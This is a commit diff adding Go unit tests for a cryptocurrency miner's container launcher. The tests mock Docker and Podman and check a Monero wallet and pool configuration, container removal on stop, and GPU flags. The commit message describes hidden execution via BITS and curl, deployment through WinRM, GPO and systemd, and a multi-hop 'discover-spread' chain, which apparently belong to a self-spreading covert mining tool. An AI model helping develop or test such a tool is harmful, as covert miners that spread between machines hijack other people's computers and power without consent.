Close automatable P2 test gaps with mocks and httptest integration.

Add container/podman exec mocks, BITS/curl HiddenRun coverage, WinRM/GPO/systemd deploy-plan httptest, and a 3-hop discover-spread Playwright stub chain.

agent/miner/container_launcher_test.go

@@ -216,6 +216,117 @@ func TestContainerLauncherDockerLoadFromTar(t *testing.T) {
 	}
 }
 
+func TestContainerLauncherPodmanStartWithFakeRuntime(t *testing.T) {
+	var gotCLI string
+	SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
+		if len(args) > 0 && args[0] == "rm" {
+			return quickExitTestCmd()
+		}
+		gotCLI = name
+		return longRunningTestCmd()
+	})
+	defer SetContainerExecCommand(nil)
+
+	cfg := config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			BuildID:  "podman-build",
+			Wallet:   "XMR:wallet",
+			PoolHost: "pool.example.com",
+			PoolPort: 3333,
+		},
+	}
+	rt := ContainerRuntimeInfo{Available: true, CLI: "podman", Version: "4.9.0"}
+
+	launcher, err := NewContainerLauncher(cfg, rt)
+	if err != nil {
+		t.Fatalf("NewContainerLauncher: %v", err)
+	}
+	if err := launcher.Start(); err != nil {
+		t.Fatalf("Start: %v", err)
+	}
+	defer launcher.Stop()
+
+	if gotCLI != "podman" {
+		t.Fatalf("runtime CLI=%q want podman", gotCLI)
+	}
+	if !launcher.Running() {
+		t.Fatal("Running() false after podman Start")
+	}
+}
+
+func TestContainerLauncherStopInvokesRm(t *testing.T) {
+	var calls [][]string
+	SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
+		copied := append([]string{name}, args...)
+		calls = append(calls, copied)
+		if len(args) > 0 && args[0] == "rm" {
+			return quickExitTestCmd()
+		}
+		return longRunningTestCmd()
+	})
+	defer SetContainerExecCommand(nil)
+
+	cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{BuildID: "stop-test"}}
+	rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
+	launcher, err := NewContainerLauncher(cfg, rt)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := launcher.Start(); err != nil {
+		t.Fatal(err)
+	}
+	launcher.Stop()
+
+	foundRm := false
+	for _, call := range calls {
+		if len(call) >= 3 && call[1] == "rm" && call[2] == "-f" {
+			foundRm = true
+			break
+		}
+	}
+	if !foundRm {
+		t.Fatalf("docker rm -f not invoked, calls=%v", calls)
+	}
+	if launcher.Running() {
+		t.Fatal("Running() true after Stop")
+	}
+}
+
+func TestContainerLauncherGPUFlags(t *testing.T) {
+	var gotArgs []string
+	SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
+		if len(args) > 0 && args[0] == "rm" {
+			return quickExitTestCmd()
+		}
+		gotArgs = append([]string(nil), args...)
+		return longRunningTestCmd()
+	})
+	defer SetContainerExecCommand(nil)
+
+	cfg := config.RuntimeConfig{
+		BuiltinConfig: config.BuiltinConfig{
+			BuildID:    "gpu-test",
+			Wallet:     "XMR:wallet",
+			PoolHost:   "pool.example.com",
+			PoolPort:   3333,
+			GPUEnabled: true,
+		},
+	}
+	rt := ContainerRuntimeInfo{Available: true, CLI: "docker"}
+	launcher, err := NewContainerLauncher(cfg, rt)
+	if err != nil {
+		t.Fatal(err)
+	}
+	if err := launcher.Start(); err != nil {
+		t.Fatal(err)
+	}
+	defer launcher.Stop()
+
+	if !containsSeq(gotArgs, "--gpus", "all") {
+		t.Fatalf("args missing --gpus all: %v", gotArgs)
+	}
+}
+
 func containsSeq(args []string, seq ...string) bool {
 	if len(seq) == 0 || len(args) < len(seq) {
 		return false